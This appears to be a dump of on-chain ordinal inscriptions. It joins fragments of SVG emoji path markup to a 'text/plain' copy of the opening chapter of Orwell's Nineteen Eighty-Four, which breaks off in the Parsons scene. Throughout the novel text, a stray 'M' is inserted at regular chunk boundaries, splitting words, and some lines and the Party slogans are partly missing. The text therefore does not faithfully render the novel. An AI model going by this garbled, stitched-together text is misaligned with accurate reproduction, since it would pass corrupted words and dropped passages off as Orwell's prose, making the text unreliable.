    <path fill="#92d3f5" d="M14.395,59.3977a4.2421,4.2421,0,0,1-2.6718-5.3736c1.3387-3.9837,6.6869-6.68,6.74-6.7068.0912.213,2.6369,5.4464,1.3052,9.41a4.2411,4.2411,0,0,1-5.3737,2.6707Z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000" stroke-linecap=M
"round" stroke-linejoin="round" stroke-width="2" d="M55.2766,23.4489q-.0459-.0708-.0924-.1411A23.0031,23.0031,0,0,0,14.2153,43.3865c.0343.1023.1046.2972.14.3993"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M25.0368,56.22a23.5311,23.5311,0,0,0,21.1991.3755A23.3425,23.3425,0,0,0,58.7218,39.5728"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M51.58,34.554a11.5549,11.5549,0,0,1,1.2192,4.408C42.9625,47M
.2342,30.1775,50.5842,28.1236,51.08a11.4345,11.4345,0,0,1-2.6837-3.535l.0985-.0489S40.39,44.1243,51.4407,34.7013Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M52.799,38.962c.2974,4.6205-2.4688,9.3006-9.0418,12.5673C37.1215,54.8271,31.6358,54.17,28.1237,51.08,30.1775,50.584,42.9625,47.2341,52.799,38.962Z"/>
    <path fill="none" stroke="#000" stroke-linejoin="round" stroke-width="2" d="M67.6926,32.9089a4.2419,4.2419,0,0,1-5.3735,2.6717c-3.9838-1.3386-6.68M
-6.6869-6.7069-6.74.213-.0912,5.4464-2.637,9.41-1.3052a4.241,4.241,0,0,1,2.6706,5.3737Z"/>
    <path fill="none" stroke="#000" stroke-linejoin="round" stroke-width="2" d="M14.395,59.3977a4.2421,4.2421,0,0,1-2.6718-5.3736c1.3387-3.9837,6.6869-6.68,6.74-6.7068.0912.213,2.6369,5.4464,1.3052,9.41a4.2411,4.2411,0,0,1-5.3737,2.6707Z"/>
    <polyline fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" points="22.478 33.13 30.163 33.793 25.928 40.072"/>
    <polyline fill="none" strokeL
="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" points="41.878 23.488 37.766 30.014 45.328 30.43"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" stroke="none" d="M30.6145,13.7375c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792 c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336L23.358,32.641l0.0217,4.3248l0.1759-12.9988 c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336 l-0.1759,12.9988l0.0526,10.0853c0.4248,8.3102,7.7518,13.6293,16.06,M
13.2046c4.7918-0.2654,9.32-2.2781,12.7278-5.6572 c2.9178-3.0904,10.0855-11.5349,10.0855-11.5349c1.4629-2.1582,0.3282-5.4939-0.8007-4.6726l-9.8756,4.6509l-0.0389-5.3996 l0.0389,5.3996l-0.0389-5.3996l0.0395-21.8505c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792 c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336l-0.0947,6.9994l-0.1861,10.6365l0.3671-22.1928 c0.284-1.9293-1.0499-3.7236-2.9792-4.0075c-1.9293-0.284-3.7236,1.0498-4.0075,2.9792c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336 l-0.2064,24.016"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M30.6145,13.7375 c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336 L23.358,32.641l0.0048,0.9513l0.1928-9.6253c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792 c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336l-0.1759,12.9988l0.0526,10.0853c0.4248,8.3102,7.7518,13.6293,16.06,13.2046 c4.791M
8-0.2654,9.32-2.2781,12.7278-5.6572c2.9178-3.0904,10.0855-11.5349,10.0855-11.5349 c1.4629-2.1582,0.3282-5.4939-0.8007-4.6726l-9.8756,4.6509l-0.0389-5.3996l0.0389,5.3996l-0.0389-5.3996l0.0395-21.8505 c0.284-1.9293-1.0499-3.7236-2.9792-4.0075s-3.7236,1.0498-4.0075,2.9792c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336 l-0.0947,6.9994l-0.1861,10.6365l0.3671-22.1928c0.284-1.9293-1.0499-3.7236-2.9792-4.0075 c-1.9293-0.284-3.7236,1.0498-4.0075,2.9792c-0.0455,0.3093-0.0498,0.6232-0.0126,0.9336l-0.1758,20.4538"/>
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
It was a bright cold day in April, and the clocks were striking thirteen. Winston Smith, his chin nuzzled into his breast in an effort to escape the vile wind, slipped quickly through the glass doors of Victory Mansions, though not quickly enough to prevent a swirM
l of gritty dust from entering along with him.
The hallway smelt of boiled cabbage and old rag mats. At one end of it a colored poster, too large for indoor display, had been tacked to the wall. It depicted simply an enormous face, more than a meter wide: the face of a man of about forty-five, with a heavy black mustache and ruggedly handsome features. Winston made for the stairs. It was no use trying the lift. Even at the best of times it was seldom working, and at present the electric current was cut off during M
daylight hours. It was part of the economy drive in preparation for Hate Week. The flat was seven flights up, and Winston, who was thirty-nine and had a varicose ulcer above his right ankle, went slowly, resting several times on the way. On each landing, opposite the lift shaft, the poster with the enormous face gazed from the wall. It was one of those pictures which are so contrived that the eyes follow you about when you move. Big Brother Is Watching You, the caption beneath it ran.
Inside the flat a fruity voicM
e was reading out a list of figures which had something to do with the production of pig iron. The voice came from an oblong metal plaque like a dulled mirror which formed part of the surface of the right-hand wall. Winston turned a switch and the voice sank somewhat, though the words were still distinguishable. The instrument (the telescreen, it was called) could be dimmed, but there was no way of shutting it off completely. He moved over to the window: a smallish, frail figure, the meagerness of his body merely eM
mphasized by the blue overalls which were the uniform of the Party. His hair was very fair, his face naturally sanguine, his skin roughened by coarse soap and blunt razor blades and the cold of the winter that had just ended.
Outside, even through the shut window pane, the world looked cold. Down in the street little eddies of wind were whirling dust and torn paper into spirals, and though the sun was shining and the sky a harsh blue, there seemed to be no color in anything except the posters that were plastered eM
verywhere. The black-mustachio'd face gazed down from every commanding corner. There was one on the house front immediately opposite. Big Brother Is Watching You, the caption said, while the dark eyes looked deep into Winston's own. Down at street level another poster, torn at one corner, flapped fitfully in the wind, alternately covering and uncovering the single word INGSOC. In the far distance a helicopter skimmed down between the roofs, hovered for an instant like a bluebottle, and darted away again with a curvM
ing flight. It was the Police Patrol, snooping into people's windows. The patrols did not matter, however. Only the Thought Police mattered.
Behind Winston's back the voice from the telescreen was still babbling away about pig iron and the overfulfillment of the Ninth Three-Year Plan. The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque M
commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment. How often, or on what system, the Thought Police plugged in on any individual wire was guesswork. It was even conceivable that they watched everybody all the time. But at any rate they could plug in your wire whenever they wanted to. You had to live
did live, from habit that became instinct
in the assumption that every sound you made was overheard, and, except in darkness, everM
y movement scrutinized.
Winston kept his back turned to the telescreen. It was safer; though, as he well knew, even a back can be revealing. A kilometer away the Ministry of Truth, his place of work, towered vast and white above the grimy landscape. This, he thought with a sort of vague distaste
this was London, chief city of Airstrip One, itself the third most populous of the provinces of Oceania. He tried to squeeze out some childhood memory that should tell him whether London had always been quite like this. M
Were there always these vistas of rotting nineteenth-century houses, their sides shored up with balks of timber, their windows patched with cardboard and their roofs with corrugated iron, their crazy garden walls sagging in all directions? And the bombed sites where the plaster dust swirled in the air and the willow herb straggled over the heaps of rubble; and the places where the bombs had cleared a larger patch and there had sprung up sordid colonies of wooden dwellings like chicken houses? But it was no use, he M
could not remember: nothing remained of his childhood except a series of bright-lit tableaux, occurring against no background and mostly unintelligible.
The Ministry of Truth
Minitrue, in Newspeak[1]
was startlingly different from any other object in sight. It was an enormous pyramidal structure of glittering white concrete, soaring up, terrace after terrace, three hundred meters into the air. From where Winston stood it was just possible to read, picked out on its white face in elegant lettering, the three slM
IGNORANCE IS STRENGTH.
The Ministry of Truth contained, it was said, three thousand rooms above ground level, and corresponding ramifications below. Scattered about London there were just three other buildings of similar appearance and size. So completely did they dwarf the surrounding architecture that from the roof of Victory Mansions you could see all four of them simultaneously. They were the homes of the four Ministries between which the entire apparatus of M
government was divided: the Ministry of Truth, which concerned itself with news, entertainment, education, and the fine arts; the Ministry of Peace, which concerned itself with war; the Ministry of Love, which maintained law and order; and the Ministry of Plenty, which was responsible for economic affairs. Their names, in Newspeak: Minitrue, Minipax, Miniluv, and Miniplenty.
The Ministry of Love was the really frightening one. There were no windows in it at all. Winston had never been inside the Ministry of Love, M
nor within half a kilometer of it. It was a place impossible to enter except on official business, and then only by penetrating through a maze of barbed-wire entanglements, steel doors, and hidden machine-gun nests. Even the streets leading up to its outer barriers were roamed by gorilla-faced guards in black uniforms, armed with jointed truncheons.
Winston turned round abruptly. He had set his features into the expression of quiet optimism which it was advisable to wear when facing the telescreen. He crossed the M
room into the tiny kitchen. By leaving the Ministry at this time of day he had sacrificed his lunch in the canteen, and he was aware that there was no food in the kitchen except a hunk of dark-colored bread which had got to be saved for tomorrow's breakfast. He took down from the shelf a bottle of colorless liquid with a plain white label marked VICTORY GIN. It gave off a sickly, oily smell, as of Chinese rice-spirit. Winston poured out nearly a teacupful, nerved himself for a shock, and gulped it down like a dose M
Instantly his face turned scarlet and the water ran out of his eyes. The stuff was like nitric acid, and moreover, in swallowing it one had the sensation of being hit on the back of the head with a rubber club. The next moment, however, the burning in his belly died down and the world began to look more cheerful. He took a cigarette from a crumpled packet marked VICTORY CIGARETTES and incautiously held it upright, whereupon the tobacco fell out onto the floor. With the next he was more successful. He M
went back to the living room and sat down at a small table that stood to the left of the telescreen. From the table drawer he took out a penholder, a bottle of ink, and a thick, quarto-sized blank book with a red back and a marbled cover.
For some reason the telescreen in the living room was in an unusual position. Instead of being placed, as was normal, in the end wall, where it could command the whole room, it was in the longer wall, opposite the window. To one side of it there was a shallow alcove in which WinsM
ton was now sitting, and which, when the flats were built, had probably been intended to hold bookshelves. By sitting in the alcove, and keeping well back, Winston was able to remain outside the range of the telescreen, so far as sight went. He could be heard, of course, but so long as he stayed in his present position he could not be seen. It was partly the unusual geography of the room that had suggested to him the thing that he was now about to do.
But it had also been suggested by the book that he had just takM
en out of the drawer. It was a peculiarly beautiful book. Its smooth creamy paper, a little yellowed by age, was of a kind that had not been manufactured for at least forty years past. He could guess, however, that the book was much older than that. He had seen it lying in the window of a frowsy little junk shop in a slummy quarter of the town (just what quarter he did not now remember) and had been stricken immediately by an overwhelming desire to possess it. Party members were supposed not to go into ordinary shoM
ps ("dealing on the free market," it was called), but the rule was not strictly kept, because there were various things such as shoelaces and razor blades which it was impossible to get hold of in any other way. He had given a quick glance up and down the street and then had slipped inside and bought the book for two dollars fifty. At the time he was not conscious of wanting it for any particular purpose. He had carried it guiltily home in his brief case. Even with nothing written in it, it was a compromising posseM
The thing that he was about to do was to open a diary. This was not illegal (nothing was illegal, since there were no longer any laws), but if detected it was reasonably certain that it would be punished by death, or at least by twenty-five years in a forced-labor camp. Winston fitted a nib into the penholder and sucked it to get the grease off. The pen was an archaic instrument, seldom used even for signatures, and he had procured one, furtively and with some difficulty, simply because of a feeling that thM
e beautiful creamy paper deserved to be written on with a real nib instead of being scratched with an ink pencil. Actually he was not used to writing by hand. Apart from very short notes, it was usual to dictate everything into the speakwrite, which was of course impossible for his present purpose. He dipped the pen into the ink and then faltered for just a second. A tremor had gone through his bowels. To mark the paper was the decisive act. In small clumsy letters he wrote:
He sat back. A sense M
of complete helplessness had descended upon him. To begin with, he did not know with any certainty that this was 1984. It must be round about that date, since he was fairly sure that his age was thirty-nine, and he believed that he had been born in 1944 or 1945; but it was never possible nowadays to pin down any date within a year or two.
For whom, it suddenly occurred to him to wonder, was he writing this diary? For the future, for the unborn. His mind hovered for a moment round the doubtful date on the page, andM
 then fetched up with a bump against the Newspeak word doublethink. For the first time the magnitude of what he had undertaken came home to him. How could you communicate with the future? It was of its nature impossible. Either the future would resemble the present, in which case it would not listen to him, or it would be different from it, and his predicament would be meaningless.
For some time he sat gazing stupidly at the paper. The telescreen had changed over to strident military music. It was curious that he M
seemed not merely to have lost the power of expressing himself, but even to have forgotten what it was that he had originally intended to say. For weeks past he had been making ready for this moment, and it had never crossed his mind that anything would be needed except courage. The actual writing would be easy. All he had to do was to transfer to paper the interminable restless monologue that had been running inside his head, literally for years. At this moment, however, even the monologue had dried up. Moreover, M
his varicose ulcer had begun itching unbearably. He dared not scratch it, because if he did so it always became inflamed. The seconds were ticking by. He was conscious of nothing except the blankness of the page in front of him, the itching of the skin above his ankle, the blaring of the music, and a slight booziness caused by the gin.
Suddenly he began writing in sheer panic, only imperfectly aware of what he was setting down. His small but childish handwriting straggled up and down the page, shedding first its cM
apital letters and finally even its full stops:
April 4th, 1984. Last night to the flicks. All war films. One very good one of a ship full of refugees being bombed somewhere in the Mediterranean. Audience much amused by shots of a great huge fat man trying to swim away with a helicopter after him. first you saw him wallowing along in the water like a porpoise, then you saw him through the helicopters gunsights, then he was full of holes and the sea round him turned pink and he sank as suddenly as though the holes M
had let in the water. audience shouting with laughter when he sank. then you saw a lifeboat full of children with a helicopter hovering over it. there was a middle-aged woman might have been a jewess sitting up in the bow with a little boy about three years old in her arms. little boy screaming with fright and hiding his head between her breasts as if he was trying to burrow right into her and the woman putting her arms round him and comforting him although she was blue with fright herself. all the time covering hiM
m up as much as possible as if she thought her arms could keep the bullets off him. then the helicopter planted a 20 kilo bomb in among them terrific flash and the boat went all to matchwood. then there was a wonderful shot of a childs arm going up up up right up into the air a helicopter with a camera in its nose must have followed it up and there was a lot of applause from the party seats but a woman down in the prole part of the house suddenly started kicking up a fuss and shouting they didnt oughter of showed iM
t not in front of kids they didnt it aint right not in front of kids it aint until the police turned her turned her out i dont suppose anything happened to her nobody cares what the proles say typical prole reaction they never
Winston stopped writing, partly because he was suffering from cramp. He did not know what had made him pour out this stream of rubbish. But the curious thing was that while he was doing so a totally different memory had clarified itself in his mind, to the point where he almost felt equalM
 to writing it down. It was, he now realized, because of this other incident that he had suddenly decided to come home and begin the diary today.
It had happened that morning at the Ministry, if anything so nebulous could be said to happen.
It was nearly eleven hundred, and in the Records Department, where Winston worked, they were dragging the chairs out of the cubicles and grouping them in the center of the hall, opposite the big telescreen, in preparation for the Two Minutes Hate. Winston was just taking his pM
lace in one of the middle rows when two people whom he knew by sight, but had never spoken to, came unexpectedly into the room. One of them was a girl whom he often passed in the corridors. He did not know her name, but he knew that she worked in the Fiction Department. Presumably
since he had sometimes seen her with oily hands and carrying a spanner
she had some mechanical job on one of the novel-writing machines. She was a bold-looking girl of about twenty-seven, with thick dark hair, a freckled face, and swiM
ft, athletic movements. A narrow scarlet sash, emblem of the Junior Anti-Sex League, was wound several times round the waist of her overalls, just tightly enough to bring out the shapeliness of her hips. Winston had disliked her from the very first moment of seeing her. He knew the reason. It was because of the atmosphere of hockey fields and cold baths and community hikes and general clean-mindedness which she managed to carry about with her. He disliked nearly all women, and especially the young and pretty ones. M
It was always the women, and above all the young ones, who were the most bigoted adherents of the Party, the swallowers of slogans, the amateur spies and nosers-out of unorthodoxy. But this particular girl gave him the impression of being more dangerous than most. Once when they passed in the corridor she had given him a quick sidelong glance which seemed to pierce right into him and for a moment had filled him with black terror. The idea had even crossed his mind that she might be an agent of the Thought Police. TM
hat, it was true, was very unlikely. Still, he continued to feel a peculiar uneasiness, which had fear mixed up in it as well as hostility, whenever she was anywhere near him.
The other person was a man named O'Brien, a member of the Inner Party and holder of some post so important and remote that Winston had only a dim idea of its nature. A momentary hush passed over the group of people round the chairs as they saw the black overalls of an Inner Party member approaching. O'Brien was a large, burly man with a thicM
k neck and a coarse, humorous, brutal face. In spite of his formidable appearance he had a certain charm of manner. He had a trick of resettling his spectacles on his nose which was curiously disarming
in some indefinable way, curiously civilized. It was a gesture which, if anyone had still thought in such terms, might have recalled an eighteenth-century nobleman offering his snuffbox. Winston had seen O'Brien perhaps a dozen times in almost as many years. He felt deeply drawn to him, and not solely because he waM
s intrigued by the contrast between O'Brien's urbane manner and his prizefighter's physique. Much more it was because of a secretly held belief
or perhaps not even a belief, merely a hope
that O'Brien's political orthodoxy was not perfect. Something in his face suggested it irresistibly. And again, perhaps it was not even unorthodoxy that was written in his face, but simply intelligence. But at any rate he had the appearance of being a person that you could talk to, if somehow you could cheat the telescreen andM
 get him alone. Winston had never made the smallest effort to verify this guess; indeed, there was no way of doing so. At this moment O'Brien glanced at his wristwatch, saw that it was nearly eleven hundred, and evidently decided to stay in the Records Department until the Two Minutes Hate was over. He took a chair in the same row as Winston, a couple of places away. A small, sandy-haired woman who worked in the next cubicle to Winston was between them. The girl with dark hair was sitting immediately behind.
ext moment a hideous, grinding screech, as of some monstrous machine running without oil, burst from the big telescreen at the end of the room. It was a noise that set one's teeth on edge and bristled the hair at the back of one's neck. The Hate had started.
As usual, the face of Emmanuel Goldstein, the Enemy of the People, had flashed onto the screen. There were hisses here and there among the audience. The little sandy-haired woman gave a squeak of mingled fear and disgust. Goldstein was the renegade and backsliM
der who once, long ago (how long ago, nobody quite remembered), had been one of the leading figures of the Party, almost on a level with Big Brother himself, and then had engaged in counter-revolutionary activities, had been condemned to death, and had mysteriously escaped and disappeared. The program of the Two Minutes Hate varied from day to day, but there was none in which Goldstein was not the principal figure. He was the primal traitor, the earliest defiler of the Party's purity. All subsequent crimes against M
the Party, all treacheries, acts of sabotage, heresies, deviations, sprang directly out of his teaching. Somewhere or other he was still alive and hatching his conspiracies: perhaps somewhere beyond the sea, under the protection of his foreign paymasters; perhaps even
so it was occasionally rumored
in some hiding place in Oceania itself.
Winston's diaphragm was constricted. He could never see the face of Goldstein without a painful mixture of emotions. It was a lean Jewish face, with a great fuzzy aureole of wM
hite hair and a small goatee beard
a clever face, and yet somehow inherently despicable, with a kind of senile silliness in the long thin nose near the end of which a pair of spectacles was perched. It resembled the face of a sheep, and the voice, too, had a sheeplike quality. Goldstein was delivering his usual venomous attack upon the doctrines of the Party
an attack so exaggerated and perverse that a child should have been able to see through it, and yet just plausible enough to fill one with an alarmed feeliM
ng that other people, less level-headed than oneself, might be taken in by it. He was abusing Big Brother, he was denouncing the dictatorship of the Party, he was demanding the immediate conclusion of peace with Eurasia, he was advocating freedom of speech, freedom of the press, freedom of assembly, freedom of thought, he was crying hysterically that the revolution had been betrayed
and all this in rapid polysyllabic speech which was a sort of parody of the habitual style of the orators of the Party, and even conM
tained Newspeak words: more Newspeak words, indeed, than any Party member would normally use in real life. And all the while, lest one should be in any doubt as to the reality which Goldstein's specious claptrap covered, behind his head on the telescreen there marched the endless columns of the Eurasian army
row after row of solid-looking men with expressionless Asiatic faces, who swam up to the surface of the screen and vanished, to be replaced by others exactly similar. The dull, rhythmic tramp of the soldiers'M
 boots formed the background to Goldstein's bleating voice.
Before the Hate had proceeded for thirty seconds, uncontrollable exclamations of rage were breaking out from half the people in the room. The self-satisfied sheeplike face on the screen, and the terrifying power of the Eurasian army behind it, were too much to be borne; besides, the sight or even the thought of Goldstein produced fear and anger automatically. He was an object of hatred more constant than either Eurasia or Eastasia, since when Oceania was M
at war with one of these powers it was generally at peace with the other. But what was strange was that although Goldstein was hated and despised by everybody, although every day, and a thousand times a day, on platforms, on the telescreen, in newspapers, in books, his theories were refuted, smashed, ridiculed, held up to the general gaze for the pitiful rubbish that they were
in spite of all this, his influence never seemed to grow less. Always there were fresh dupes waiting to be seduced by him. A day never pasM
sed when spies and saboteurs acting under his directions were not unmasked by the Thought Police. He was the commander of a vast shadowy army, an underground network of conspirators dedicated to the overthrow of the State. The Brotherhood, its name was supposed to be. There were also whispered stories of a terrible book, a compendium of all the heresies, of which Goldstein was the author and which circulated clandestinely here and there. It was a book without a title. People referred to it, if at all, simply as theM
 book. But one knew of such things only through vague rumors. Neither the Brotherhood nor the book was a subject that any ordinary Party member would mention if there was a way of avoiding it.
In its second minute the Hate rose to a frenzy. People were leaping up and down in their places and shouting at the tops of their voices in an effort to drown the maddening bleating voice that came from the screen. The little sandy-haired woman had toned bright pink, and her mouth was opening and shutting like that of a landM
ed fish. Even O'Brien's heavy face was flushed. He was sitting very straight in his chair, his powerful chest swelling and quivering as though he were standing up to the assault of a wave. The dark-haired girl behind Winston had begun crying out "Swine! Swine! Swine!" and suddenly she picked up a heavy Newspeak dictionary and flung it at the screen. It struck Goldstein's nose and bounced off; the voice continued inexorably. In a lucid moment Winston found that he was shouting with the others and kicking his heel viM
olently against the rung of his chair. The horrible thing about the Two Minutes Hate was not that one was obliged to act a part, but that it was impossible to avoid joining in. Within thirty seconds any pretense was always unnecessary. A hideous ecstasy of fear and vindictiveness, a desire to kill, to torture, to smash faces in with a sledge hammer, seemed to flow through the whole group of people like an electric current, turning one even against one's will into a grimacing, screaming lunatic. And yet the rage thaM
t one felt was an abstract, undirected emotion which could be switched from one object to another like the flame of a blowlamp. Thus, at one moment Winston's hatred was not turned against Goldstein at all, but, on the contrary, against Big Brother, the Party, and the Thought Police; and at such moments his heart went out to the lonely, derided heretic on the screen, sole guardian of truth and sanity in a world of lies. And yet the very next instant he was at one with the people about him, and all that was said of GM
oldstein seemed to him to be true. At those moments his secret loathing of Big Brother changed into adoration, and Big Brother seemed to tower up, an invincible, fearless protector, standing like a rock against the hordes of Asia, and Goldstein, in spite of his isolation, his helplessness, and the doubt that hung about his very existence, seemed like some sinister enchanter, capable by the mere power of his voice of wrecking the structure of civilization.
It was even possible, at moments, to switch one's hatred thM
is way or that by a voluntary act. Suddenly, by the sort of violent effort with which one wrenches one's head away from the pillow in a nightmare, Winston succeeded in transferring his hatred from the face on the screen to the dark-haired girl behind him. Vivid, beautiful hallucinations flashed through his mind. He would flog her to death with a rubber truncheon. He would tie her naked to a stake and shoot her full of arrows like Saint Sebastian. He would ravish her and cut her throat at the moment of climax. BetteM
r than before, moreover, he realized why it was that he hated her. He hated her because she was young and pretty and sexless, because he wanted to go to bed with her and would never do so, because round her sweet supple waist, which seemed to ask you to encircle it with your arm, there was only the odious scarlet sash, aggressive symbol of chastity.
The Hate rose to its climax. The voice of Goldstein had become an actual sheep's bleat, and for an instant the face changed into that of a sheep. Then the sheep-face mM
elted into the figure of a Eurasian soldier who seemed to be advancing, huge and terrible, his submachine gun roaring, and seeming to spring out of the surface of the screen, so that some of the people in the front row actually flinched backwards in their seats. But in the same moment, drawing a deep sigh of relief from everybody, the hostile figure melted into the face of Big Brother, black-haired, black mustachio'd, full of power and mysterious calm, and so vast that it almost filled up the screen. Nobody heard wM
hat Big Brother was saying. It was merely a few words of encouragement, the sort of words that are uttered in the din of battle, not distinguishable individually but restoring confidence by the fact of being spoken. Then the face of Big Brother faded away again, and instead the three slogans of the Party stood out in bold capitals:
IGNORANCE IS STRENGTH.
But the face of Big Brother seemed to persist for several seconds on the screen, as though the impact that it had made on everyoneM
's eyeballs were too vivid to wear off immediately. The little sandy-haired woman had flung herself forward over the back of the chair in front of her. With a tremulous murmur that sounded like "My Savior!" she extended her arms toward the screen. Then she buried her face in her hands. It was apparent that she was uttering a prayer.
At this moment the entire group of people broke into a deep, slow, rhythmical chant of "B-B!... B-B!... B-B!" over and over again, very slowly, with a long pause between the first "B" M
a heavy, murmurous sound, somehow curiously savage, in the background of which one seemed to hear the stamp of naked feet and the throbbing of tom-toms. For perhaps as much as thirty seconds they kept it up. It was a refrain that was often heard in moments of overwhelming emotion. Partly it was a sort of hymn to the wisdom and majesty of Big Brother, but still more it was an act of self-hypnosis, a deliberate drowning of consciousness by means of rhythmic noise. Winston's entrails seemed to grow coM
ld. In the Two Minutes Hate he could not help sharing in the general delirium, but this subhuman chanting of "B-B!... B-B!" always filled him with horror. Of course he chanted with the rest: it was impossible to do otherwise. To dissemble your feelings, to control your face, to do what everyone else was doing, was an instinctive reaction. But there was a space of a couple of seconds during which the expression in his eyes might conceivably have betrayed him. And it was exactly at this moment that the significant thM
if, indeed, it did happen.
Momentarily he caught O'Brien's eye. O'Brien had stood up. He had taken off his spectacles and was in the act of resettling them on his nose with his characteristic gesture. But there was a fraction of a second when their eyes met, and for as long as it took to happen Winston knew
that O'Brien was thinking the same thing as himself. An unmistakable message had passed. It was as though their two minds had opened and the thoughts were flowing from one into M
the other through their eyes. "I am with you," O'Brien seemed to be saying to him. "I know precisely what you are feeling. I know all about your contempt, your hatred, your disgust. But don't worry, I am on your side!" And then the flash of intelligence was gone, and O'Brien's face was as inscrutable as everybody else's.
That was all, and he was already uncertain whether it had happened. Such incidents never had any sequel. All that they did was to keep alive in him the belief, or hope, that others besides himselfM
 were the enemies of the Party. Perhaps the rumors of vast underground conspiracies were true after all
perhaps the Brotherhood really existed! It was impossible, in spite of the endless arrests and confessions and executions, to be sure that the Brotherhood was not simply a myth. Some days he believed in it, some days not. There was no evidence, only fleeting glimpses that might mean anything or nothing: snatches of overheard conversation, faint scribbles on lavatory walls
once, even, when two strangers met, aM
 small movement of the hands which had looked as though it might be a signal of recognition. It was all guesswork: very likely he had imagined everything. He had gone back to his cubicle without looking at O'Brien again. The idea of following up their momentary contact hardly crossed his mind. It would have been inconceivably dangerous even if he had known how to set about doing it. For a second, two seconds, they had exchanged an equivocal glance, and that was the end of the story. But even that was a memorable evM
ent, in the locked loneliness in which one had to live.
Winston roused himself and sat up straighter. He let out a belch. The gin was rising from his stomach.
His eyes refocused on the page. He discovered that while he sat helplessly musing he had also been writing, as though by automatic action. And it was no longer the same cramped awkward handwriting as before. His pen had slid voluptuously over the smooth paper, printing in large neat capitals
DOWN WITH BIG BROTHER
DOWN WITH BIG BROTHER
DOWN WITH BIG BROTHER
DOWN WITH BIG BROTHER
over and over again, filling half a page.
He could not help feeling a twinge of panic. It was absurd, since the writing of those particular words was not more dangerous than the initial act of opening the diary; but for a moment he was tempted to tear out the spoiled pages and abandon the enterprise altogether.
He did not do so, however, because he knew that it was useless. Whether he wrote DOWN WITH BIG BROTHER, or whether he refrained from writing it, made no diffM
erence. Whether he went on with the diary, or whether he did not go on with it, made no difference. The Thought Police would get him just the same. He had committed
would still have committed, even if he had never set pen to paper
the essential crime that contained all others in itself. Thoughtcrime, they called it. Thoughtcrime was not a thing that could be concealed forever. You might dodge successfully for a while, even for years, but sooner or later they were bound to get you.
It was always at night
arrests invariably happened at night. The sudden jerk out of sleep, the rough hand shaking your shoulder, the lights glaring in your eyes, the ring of hard faces round the bed. In the vast majority of cases there was no trial, no report of the arrest. People simply disappeared, always during the night. Your name was removed from the registers, every record of everything you had ever done was wiped out, your one-time existence was denied and then forgotten. You were abolished, annihilated: vaporized was the usual woM
For a moment he was seized by a kind of hysteria. He began writing in a hurried untidy scrawl:
theyll shoot me i dont care theyll shoot me in the back of the neck i dont care down with big brother they always shoot you in the back of the neck i dont care down with big brother
He sat back in his chair, slightly ashamed of himself, and laid down the pen. The next moment he started violently. There was a knocking at the door.
Already! He sat as still as a mouse, in the futile hope that whoever it was might M
go away after a single attempt. But no, the knocking was repeated. The worst thing of all would be to delay. His heart was thumping like a drum, but his face, from long habit, was probably expressionless. He got up and moved heavily toward the door.
As he put his hand to the doorknob Winston saw that he had left the diary open on the table. DOWN WITH BIG BROTHER was written all over it, in letters almost big enough to be legible across the room. It was an inconceivably stupid thing to have done. But, he realizeM
d, even in his panic he had not wanted to smudge the creamy paper by shutting the book while the ink was wet.
He drew in his breath and opened the door. Instantly a warm wave of relief flowed through him. A colorless, crushed-looking woman, with wispy hair and a lined face, was standing outside.
"Oh, comrade," she began in a dreary, whining sort of voice, "I thought I heard you come in. Do you think you could come across and have a look at our kitchen sink? It's got blocked up and
It was Mrs. Parsons, the wiM
fe of a neighbor on the same floor. ("Mrs." was a word somewhat discountenanced by the Party
you were supposed to call everyone "comrade"
but with some women one used it instinctively.) She was a woman of about thirty, but looking much older. One had the impression that there was dust in the creases of her face. Winston followed her down the passage. These amateur repair jobs were an almost daily irritation. Victory Mansions were old flats, built in 1930 or thereabouts, and were falling to pieces. The plaster fM
laked constantly from ceilings and walls, the pipes burst in every hard frost, the roof leaked whenever there was snow, the heating system was usually running at half steam when it was not closed down altogether from motives of economy. Repairs, except what you could do for yourself, had to be sanctioned by remote committees which were liable to hold up even the mending of a window pane for two years.
"Of course it's only because Tom isn't home," said Mrs. Parsons vaguely.
The Parsons's flat was bigger than WinstM
on's, and dingy in a different way. Everything had a battered, trampled-on look, as though the place had just been visited by some large violent animal. Games impedimenta
hockey sticks, boxing gloves, a burst football, a pair of sweaty shorts turned inside out
lay all over the floor, and on the table there was a litter of dirty dishes and dog-eared exercise books. On the walls were scarlet banners of the Youth League and the Spies, and a full-sized poster of Big Brother. There was the usual boiled-cabbage smellM
, common to the whole building, but it was shot through by a sharper reek of sweat, which
one knew this at the first sniff, though it was hard to say how
was the sweat of some person not present at the moment. In another room someone with a comb and a piece of toilet paper was trying to keep tune with the military music which was still issuing from the telescreen.
"It's the children," said Mrs. Parsons, casting a half-apprehensive glance at the door. "They haven't been out today. And of course
